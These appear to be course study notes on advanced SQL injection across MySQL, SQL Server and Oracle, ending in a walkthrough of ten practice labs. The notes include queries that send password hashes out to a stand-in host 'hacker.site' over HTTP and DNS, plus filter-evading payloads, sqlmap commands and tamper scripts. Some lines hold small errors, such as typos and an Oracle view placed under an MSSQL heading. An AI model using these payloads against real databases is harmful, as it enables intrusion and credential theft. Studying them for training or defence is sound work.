SQL Injection

Basic understanding of SQL Injection Vulnerabilities

Advanced concept of exploiting SQLi’s

Introduction

We are going to lay the foundation For an advanced comprehension of what the SQL Injection world offers. We will analyze the most common DBMS and learn how to perform advanced attacks against them.

Recap and More

SQL Injection is an attack against the original purpose a developer has chosen For a specific piece of SQL code. The idea is to alter the original SQL query structure by leveraging the syntax, DBMS and/or OS functionalities in order to perform malicious operations.

We’ll analyze 3 most used Relational Database Management Systems RDBMS:

- MySQL
- SQL Server
- Oracle

Exploiting SQLI

Techniques Classification

Classes of attack:

- INBAND
- OUT-OF-BAND
- INFERENCE

Inbound Attacks

It leverages the same channel used to inject the SQL code

The result of this attack is included directly in the response from the vuln web application.

The most common techniques are:

- UNION-based
- Error-based

Out-of-Band Attacks (OOB)

It uses alternative channels to extract data from the server.

Some of these include the following:

- HTTP(s) requests
- DNS resolution
- Email
- File System
  • Exploiting a SQLi using OOB methods is useful when all Inband techniques have failed because attempted vectors have been disabled, limited, or filtered. When the only option is to use Blind techniques (Inference), reducing the number of queries is a must!

HTTP Based OOB Exploitation:

- it sends the result of the SQL query by HTTP request, usually via GET, toward a hacker-controlled HTTP server

Inference Attacks

  • Most common known as Blind.
  • All methods that allow information extraction are based on a set of focused deductions. There are several possible techniques to use, but the most common are:
  • Boolean-based
  • Time-based

Boolean-based

The focus in on visible changes inside web server responses. For example:

If the result of a query is not NULL, the server returns Great while Nooo otherwise.

Example:

- Is the first character of the username a 'G'?
- If yes = 'great' / if no = 'nooo'

Time-based

The focus is on the delays of response

Example:

- Is the first character of the username a 'G'?
- if yes = 'waits 15 seconds' / if not = 'answer imediately any message'

Gathering Information from the Environment

Before exploiting we need to understand some basic fundamentals about our backend DBMS

Fingerprint techniques may vary under:

- Non-Blind
- Blind

Our Goals:

- DMBS version
- Databases structure and Data
- Database Users and their privileges

Identifying the DBMS

Error Code Analysis

The most straightforward method consists of forcing the vuln app to return an error message. The more verbose the server errors are the better.

Sometimes, the error code analysis does not return any details, like the exact version and patch level; however, it does return the database name.

The best way to identify the DBMS is by leveraging the NON-Blind scenario. Every DB implements specific functions that return the current version, so retrieving that value is straightforward.

*example in images

Educated Guessing

  • If we are facing a BLIND scenario, we can execute Educated Guessing of whats behind the injection point.

String Concatenation

  • Each DBMS handles strings differently, making the way which String Concatenation is handled even more interesting.
  • example in images

Numeric Functions

If the injection point is evaluated as a number, we can perform the same approach, but with numeric functions *example in images

SQL Dialect

We can use Date and Time Functions (see NOW()+0 in MySQL) or specific Miscellaneous DBMS Functions (see UID in Oracle). And many more…

Another options, is how comments are handled.

- MySQL: https://dev.mysql.com/doc/refman/8.0/en/comments.html

MySQL provides a variant to C-Style comments:

/*! MySQL-specific code */

This is helpful to do a good obfuscator technique.

Example:

SELECT 1 /*!50530 + 1 */  # executed only by server MySQL 5.5.30 or higher

Enumerating the DBMS Content

The smartest way to begin is by enumerating in this order:

- Databases schemas
- Tables
- Columns
- Users

This info is also known as metadata, system catalog or data dictionary

In MySQL

→ https://dev.mysql.com/doc/refman/8.0/en/information-schema.html

Information_schema is the magic place where we can retrieve all the metadata required.

All the info about the other databases are stored within the table SCHEMATA.

SELECT schema_name FROM information_schema.schemata;

If the user running MySQL has SHOW privileges, then the previous command can be condensed into this:

SHOW databases;
SHOW schemas;

MySQL provides a list of useful functions and operators

→ https://dev.mysql.com/doc/refman/8.0/en/information-functions.html

We can use:

SELECT DATABASE();
SELECT SCHEMA();

In MSSQL

All the system-level information is stored within the System Tables:

http://msdn.microsoft.com/en-us/library/ms179932.aspx

Depending on the version, these tables exists either only in the MASTER database or in every database

https://docs.microsoft.com/en-us/sql/relational-databases/databases/master-database?redirectedfrom=MSDN&view=sql-server-ver15

Info about the databases is stored in the system table: sysdatabases

query:

SELECT name FROM master..sysdatabases;
SELECT name FROM sysdatabases;

The alternative is SYSTEM VIEWS → http://msdn.microsoft.com/en-us/library/ms177862.aspx

The most interesting views:

- Compability: http://msdn.microsoft.com/en-us/library/ms187376.aspx
- Information: http://msdn.microsoft.com/en-us/library/ms186778.aspx
- Schema     : http://msdn.microsoft.com/en-us/library/ms186778.aspx

For a mapping between System Tables and System Views:

http://msdn.microsoft.com/en-us/library/ms187997.aspx

We can also use Catalog view:

SELECT name FROM SYS.databases;

We can leverage a utility function:

SELECT DB_NAME();

Providing a smallint ID, so we can retrieve info about a specific database:

SELECT DB_NAME(1);

A list of names and IDs:

SELECT dbid, DB_NAME(dbid) from master..sysdatabases;

In Oracle

It does not have a simple model system like the previous two.

Concepts to understand:

Database: Where are stored the physical files
Instance: The pool of processes, memory areas, etc. Useful to access data.

Each DATABASE must point to an INSTANCE that has its custon logical and physical structures in order to store information like tables, indexes, etc.

The most important structure: TABLESPACE

List the TABLESPACE the current user can use:

SELECT TABLESPACE_NAME FROM USER_TABLESPACES

SYSTEM and SYSAUX are the system TABLESPACE created automatically at the beginning when the database is made.

If we want to retrieve the default TABLESPACE:

SELECT DEFAULT_TABLESPACE FROM USER_USERS
SELECT DEFAULT_TABLESPACE FROM SYS.USER_USERS
# The USER_USERS is the table in SYS that describes the current user

Tables & Columns

MySQL

→ http://dev.mysql.com/doc/refman/5.0/en/tables-table.html

INFORMATION_SCHEMA.TABLES is the table that provides information about tables in the databases managed.

We can run the following query:

SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;

The alias:

SHOW TABLES; //current schema
SHOW TABLES in EMPLOYEES; // other database

The columns are within the INFORMATION_SCHEMA.COLUMNS:

SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS;

with alias:

SHOW COLUMNS FROM DEPARTMENTS IN EMPLOYEES; # cols in a table, database

MSSQL

Information about tables are stored within sysobjects

→ http://technet.microsoft.com/en-us/library/aa260447(v=sql.80).aspx

This table contains info about all the objects defined For that specific schema:

SELECT name FROM sysobjects WHERE xtype='U'

To retrieve the list of tables: // add the name of the database before sysobjects

SELECT name FROM employees..sysobjects WHERE xtype='U'

# the xtype defines objects types:
- S  = System Table
- U  = User Table
- TT = Table Type
- X  = Extended Stored Procedure
- V  = Views

Alternative, INFORMATION_SCHEMA views we can retrieve info about tables and views of the current database

SELECT table_name FROM INFORMATION_SCHEMA.TABLES
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type = 'BASE TABLE'

For a specific database just add the name of the db before:

SELECT table_name FROM employees.INFORMATION_SCHEMA.TABLES
SELECT table_name FROM employees.INFORMATION_SCHEMA.TABLES WHERE table_type = 'BASE TABLE'

Enumeration of columns is similar:

SELECT name FROM syscolumns
SELECT name FROM employees.syscolumns

Alternative, using INFORMATION_SCHEMA:

SELECT column_name FROM INFORMATION_SCHEMA.columns
SELECT column_name FROM employees.INFORMATION_SCHEMA.columns
SELECT column_name FROM employees.INFORMATION_SCHEMA.columns WHERE table_name='salary'

Oracle

ts a simple query

# https://docs.oracle.com/cd/B28359_01/server.111/b28320/statviews_2105.htm#REFRN20286

SELECT table_name, tablespace_name FROM SYS.all_tables
SELECT table_name, tablespace_name FROM all_tables

There is a special table in Oracle name DUAL

https://docs.oracle.com/cd/B19306_01/server.102/b14200/queries009.htm

SELECT "WAPTx" FROM DUAL;

# Is useful For computing a constant expression with the SELECT statement

MSSQL

The system view ALL_TAB_COLUMNS

https://docs.oracle.com/cd/B28359_01/server.111/b28320/statviews_2091.htm

Its useful in enumerating the columns of the tables, views and clusters accessible to the currrent user:

SELECT column_name FROM SYS.ALL_TAB_COLUMNS
SELECT column_name FROM ALL_TAB_COLUMNS

Database Users and Privileges

MySQL

Some useful functions to do the job:

User()        # FUNCTIONS
Current_user()
System_user()
Session_user()
Current_user  # CONSTANT

If the user is privileged:

SELECT user FROM mysql.user;

The privileges are all stored in INFORMATION_SCHEMA

And organized by the tables:

COLUMN_PRIVILEGES
SCHEMA_PRIVILEGES
TABLE_PRIVILEGES()
USER_PRIVILEGES

It can be retrieve like that:

SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES;

To show privileges on databases:

SELECT grantee, table_schema, privilege_type FROM INFORMATION_SCHEMA.SCHEMA_PRIVILEGES;

To show privileges from respective columns:

SELECT user, select_priv,..., FROM MYSQL.USER;

To gather the DBA accounts:

SELECT grantee, privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE privilege_type='SUPER';

Privileged users need to change the query:

SELECT user FROM MYSQL.USER WHERE Super_priv='Y';

MSSQL

Its similar to mysql

We have some functions:

suser_sname() //FUNCTION
User          // CONSTANTS
System_user

We can also use the System Table:

SELECT loginame FROM SYSPROCESSES WHERE spid = @@SPID
# Current User Process ID

# http://msdn.microsoft.com/en-us/library/ms189535.aspx

SELECT name FROM SYSLOGINS;
# all users

We can use System Views:

SELECT original_login_name FROM SYS.DM_EXEC_SESSIONS WHERE status='running'
# current active user

Once we identified the users, we need to understand their privileges:

IS_SRVOLEMEMBER = http://msdn.microsoft.com/en-us/library/ms176015.aspx

IF IS_SRVOLEMEMBER('sysadmin')=1
# print 'Current users login is a member of the sysadmin role'

ELSE IF IS_SRVOLEMEMBER('sysadmin')=0
# print 'Current users login is NOT a member of the sysadmin role'

In addition to sysadmin, there are other possibles roles:

serveradmin
dbcreator
setupadmin
bulkadmin
securityadmin
diskadmin
public
processadmin

We can use this function to ask about other users:

SELECT IS_SRVOLEMEMBER ('processadmin','aw')
# aw is the name of the SQL Server login to check. If the username is supplied as an argument, its the current user.

Whos the owner of what?

# http://msdn.microsoft.com/en-us/library/ms174355.aspx

SELECT loginname FROM SYSLOGINS where sysadmin=1

Or we can use System View server_principals:

SELECT name FROM SYS.SERVER_PRINCIPALS where TYPE='S'
# S = SQL login

Oracle

To retrieve the current user:

SELECT user FROM DUAL

Alternatively:

SELECT username FROM USER_USERS
SELECT username FROM ALL_USERS

User privileges:

SELECT grantee FROM DBA_ROLE_PRIVS
SELECT username FROM USER_ROLE_PRIVS

The current users session privileges:

SELECT role FROM SESSION_ROLES

To retrieve an overview of all the data dictionaries, tables and view:

SELECT * FROM DICTIONARY
SELECT * FROM DICT

SQLI Classifications:

Alt text

We can infer the DBMS version by observing the replies to different concatenation syntaxes:

Alt text

Numeric functions:

Alt text

Out-of-Band Exploitation

Useful when facing Special-Blind SQL Injection scenarios. In these situations, we cannot rely on the inferential techniques to retrieve data.

These will not work cause the results are being limited, filtered, and so forth; therefore, we need to opt For another CHANNEL to carry this information.

Alternative OOB CHannels

The most relevant:

HTTP
DNS
email
Database Connections

OOB via HTTP

We can leverage the HTTP channel For the DBMS systems that provide features For accessing data on the internet over HTTP using SQL

  • Using these features, we can create a query to a web resource controlled by the hacker and then control the access log For analyzing all the requests arrived.
  • Only Oracle provide this feature natively

Two techniques [ Oracle ]:

UTL_HTTP

# HTTPURIType: https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/t_dburi.htm#BGBGAHAA

Oracle URL_HTTP package → https://docs.oracle.com/cd/B19306_01/appdev.102/b14258/u_http.htm

  • It can use both via SQL and PL/SQL

Two useful funcions:

REQUEST
REQUEST_PIECES

Only the REQUEST can be used in a SQL query:

SELECT UTL_HTTP.REQUEST ('hacker.site/'||(SELECT spare4 FROM SYS.USER$ WHERE ROWNUM=1)) FROM DUAL;

The REQUEST_PIECES must be used within a PL/SQL Block *example in images

Oracle HTTPURITYPE Package

  • The first one is often disabled

We can also exfiltrate information via HTTP:

SELECT HTTPURITYPE ('hacker.site'/||(SELECT spare4 FROM SYS.USER$ WHERE ROWNUM=1)).getclob() FROM DUAL;

# getclob() method returns the character large object (CLOB), but we can also use other methods such as: GETBLOB(), GETXML() and GETCONTENTTYPE()

OOB via DNS

In this context, instead of controlling the web server we have to control a DNS server.

Even if the administrator sets an aggressive firewall policy filtering out any outgoing connections, the victim site will still both be able to reply to requests and perform DNS queries.

  • The server uses a DNS resolver configured by the network administrator, but the resolver needs to contact a DNS server under the attackers control, therefore giving back the results of the injection to the attacker.
  • As a requirement the hacker must have access to the DNS Server.

The server must be registered as the authoritative name server For that Zone (e.g. hacker.site)

Provoking DNS Requests

MySQL (win)

Function: LOAD_FILE() reads the file and returns the file contents as a string:

SELECT LOAD_FILE("C:\\Windows\\system.uni");

We can exploit this function and provoke DNS requests by requesting a UNC path like this: \[data].hacker.site

SELECT LOAD_FILE(CONCAT('\\\\', 'SELECT password FROM mysql.user WHERE user=\'root\'','.hacker.site'));

MSSQL

We can provoke DNS requests by using UNC Paths as we did with MySQL

We can use the extended stored procedure MASTER..XP_FILEEXIST to determine whether a particular file exists on the disk or not.

EXEC MASTER..XP_FILEEXIST 'C:\Windows\system.ini'
  • 2 alternatives are XP_DIRTREE and XP_SUBDIRS
  • moreover in images

Oracle

UTL_INADDR package with the functions GET_HOST_ADDRESS and GET_HOST_NAME

SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacket.site') FROM DUAL
SELECT UTL_INADDR.GET_HOST_NAME((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacket.site') FROM DUAL

Also functions/packages such as:

HTTPURITYPE.GETCLOB
UTL_HTTP.REQUEST
DBMS_LDAP.INIT

Can be used, but depends on the version of Oracle

It can be automated with SQLMAP

→ http://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281

Exploiting Second-Order SQL Injection

  • Second-order SQL Injections are extremely powerful, much like their equivalent in the first-order space; However, due to their nature, they are more difficult to detect.
  • The exploit is submitted in one request and triggere when the application handles a different request.

  • Modern automated scanners are unable to perform the rigorous methodology necessaryFor discovering second-order vulnerabilities
  • Because there are several possible scenarios

Lab

  • Upload image only
  • go to List of file signatures in wikipedia
  • See the value of jpg files

Try to increment the value with php code in it

<?php phpinfo();

Try to open the image uploaded, if the page has php handler it will open the phpinfo

# If not, procced to test the file name with BURP > Repeater
filename="example.php' and true -- -"

# If the number of view increase, lets try with UNION this time
filename="example.php' UNION SELECT @@VERSION; -- -"
filename="' UNION SELECT @@VERSION; -- -" //take off the name of the file
filename="' UNION SELECT SCHEMA(); -- -"
filename="' UNION SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema = SCHEMA(); -- -"

Our scenario:

[>] Injection
Name of the file uploaded, e.g. ' union select @version; -- -
** via POST request **
[*] Execution
view.php?file={our_payload}
** via GET request **

Downsides:

sqlmap (2nd order) works only GET to GET i.e. we beed a python plugin
burp needs a java plugin

Upsides:

out php script

1. GETs the payload in input
2. Generates the respective image payload (POST req)
3. Generates the respective GET req, to view page and reflect the result client-side
  • So we create a php page, opened with apache2 server to execute payloads

Example:

hacker.site/payload.php?payload='UNION SELECT USER(); -- -

Finish the job with SQLMAP

sqlmap -u 'http://hacker.site/payload.php?payload=x' --technique=U --banner

--flush-session --batch --banner
# test the time difference between Time-based and Union-based
# Time 0 is 3min long, Union is 2sec

We need to pre-elaborate the form before submitting the request.

Lab Solutions

SQLi 1

PoC:

GET / HTTP/1.1
Host: 1.sqli.labs
User-Agent: ' UNION SELECT user(); -- -

SQLMap Automation:

sqlmap -u 'http://1.sqli.labs/' -p user-agent --random-agent --banner

SQLi 2

UNION and standard payloads like 1='1 are filterer.

PoC, False Blind:
GET / HTTP/1.1
Host: 2.sqli.labs
User-Agent: ' or 'elscustom'='elsFALSE


PoC, True Blind:
GET / HTTP/1.1
Host: 2.sqli.labs
User-Agent: ' or 'elscustom'='elscustom


# SQLMap Automation:
sqlmap -u 'http://2.sqli.labs/' -p user-agent --user-agent=elsagent --technique=B --banner

SQLi 3

Spaces are filtered.

PoC:

GET / HTTP/1.1
Host: 3.sqli.labs
User-Agent: '/**/UNION/**/SELECT/**/@@version;#

# SQLMap Automation:
sqlmap -u 'http://3.sqli.labs/' -p user-agent --random-agent --technique=U --tamper=space2comment --suffix=';#' --union-char=els --banner

SQLi 4

Comments non longer work.

PoC:

GET / HTTP/1.1
Host: 4.sqli.labs
User-Agent: 'UNION(select('PoC String'));#


# We cannot easily automate this task, as sqlmap should balance the parentesis.
# To exploit by hand you have to first find the tables in the current database:


GET / HTTP/1.1
Host: 4.sqli.labs
User-Agent: 'union(SELECT(group_concat(table_name))FROM(information_schema.columns)where(table_schema=database()));#

Then you can enumarate the columns:

GET / HTTP/1.1
Host: 4.sqli.labs
User-Agent: 'union(SELECT(group_concat(column_name))FROM(information_schema.columns)where(table_name='secretcustomers'));#

SQLi 5

This is similar to SQLi 4, but the developer used doublequotes around strings.

PoC:

GET / HTTP/1.1
Host: 5.sqli.labs
User-Agent: "UNION(select('PoC String'));#

# To exploit by hand you have again to find the tables in the current database:

GET / HTTP/1.1
Host: 5.sqli.labs
User-Agent: "union(SELECT(group_concat(table_name))FROM(information_schema.columns)where(table_schema=database()));#

SQLi 6

MySQL’s reserved words have been filtered. Using RaNDom case does not help, as you can have, for example, somethin like InfoRMaTIon_ScheMa who will become InfoRMaTI_ScheMa, as on or ON is a valid reserved word.

PoC:


GET / HTTP/1.1
Host: 6.sqli.labs
User-Agent: ' UNiOn seLect @@versiOn;#

The only way to get around this kind of filtering during the exploitation automation phase is to use DifFeReNt CaSe for every letter
You have to write a simple tampering script:
#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces each keyword with a CaMeLcAsE VeRsIoN of it.

    >>> tamper('INSERT')
    'InSeRt'
    """

    ret_val = ""

    if payload:
        for i in range(len(payload)):
            if i % 2 == 0:
                # We cannot break 0x12345
                if not ((payload[i] == 'x') and (payload[i-1] == '0')):
                    ret_val += payload[i].upper()
                else:
                    ret_val += payload[i]
            else:
                ret_val += payload[i].lower()
    return ret_val

SQLMap command line:

sqlmap -u 'http://6.sqli.labs/' -p user-agent --technique=U --tamper=/path/to/your/tampering/scripts/camelcase.py --prefix="nonexistent'" --suffix=';#' --union-char=els --banner

SQLi 7

In this scenario, the case-insensitive filter cuts out all the reserved words, but the filter is not recursive.

PoC:

GET / HTTP/1.1
Host: 7.sqli.labs
User-Agent: ' uZEROFILLnZEROFILLiZEROFILLoZEROFILLnZEROFILL ZEROFILLsZEROFILLeZEROFILLlZEROFILLeZEROFILLcZEROFILLt ZEROFILL@@ZEROFILLvZEROFILLeZEROFILLrZEROFILLsZEROFILLiZEROFILLoZEROFILLnZEROFILL; ZEROFILL-- ZEROFILL-ZEROFILL

Tampering script:

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Insert FILL after every character

    >>> tamper('INSERT')
    'IfillNfillSfillEfillRfillTfill
    """

    retVal = str()

    FILL = 'ZEROFILL'

    if payload:
        for i in range(len(payload)):
            retVal += payload[i] + FILL
    # Uncomment to debug
    # print "pretamper:", payload
    return retVal

SQLMap automation:

sqlmap -u 'http://7.sqli.labs/' -p user-agent --technique=U --tamper=/path/to/your/tampering/scripts/fill.py --banner

SQLi 8

Simple URL encoding.

PoC:

GET / HTTP/1.1
Host: 8.sqli.labs
User-Agent: %61%61%61%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%3b%20%2d%2d%20%2d

SQLMap Automation:

sqlmap -u 'http://8.sqli.labs/' -p user-agent --tamper=charencode --technique=U --banner

SQLi 9

Double encoding.

PoC:

GET / HTTP/1.1
Host: 9.sqli.labs
User-Agent: %25%36%31%25%36%31%25%36%31%25%36%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%33%62%25%32%30%25%32%64%25%32%64%25%32%30%25%32%64

SQLMap Automation:

sqlmap -u 'http://9.sqli.labs/' -p user-agent --tamper=chardoubleencode --technique=U --banner

SQLi 10

This labs combines reserver keyword filtering with an injection in a function.

PoC:

GET / HTTP/1.1
Host: 10.sqli.labs
User-Agent: ') uZEROFILLnZEROFILLiZEROFILLoZEROFILLn sZEROFILLeZEROFILLlZEROFILLeZEROFILLcZEROFILLt 'PoC'; -- -

SQLMap Automation:

sqlmap -u 'http://10.sqli.labs/' -p user-agent --technique=U --tamper=/path/to/your/tampering/scripts/fill.py --prefix="notexistant')" --suffix="; -- " --union-char=els --banner

[Note] Different sqlmap versions may require different options/flags. For example, regarding level 9:

sqlmap -u 'http://9.sqli.labs/' -p user-agent --tamper=chardoubleencode --technique=U --banner --level=3 --risk=3

or

sqlmap -r 9.sqli.labs.For.sqlmap --banner --tamper=chardoubleencode --dbms mysql --batch --union-char=els  --technique=E

# The only one that worked
# lvl 10 didnt work either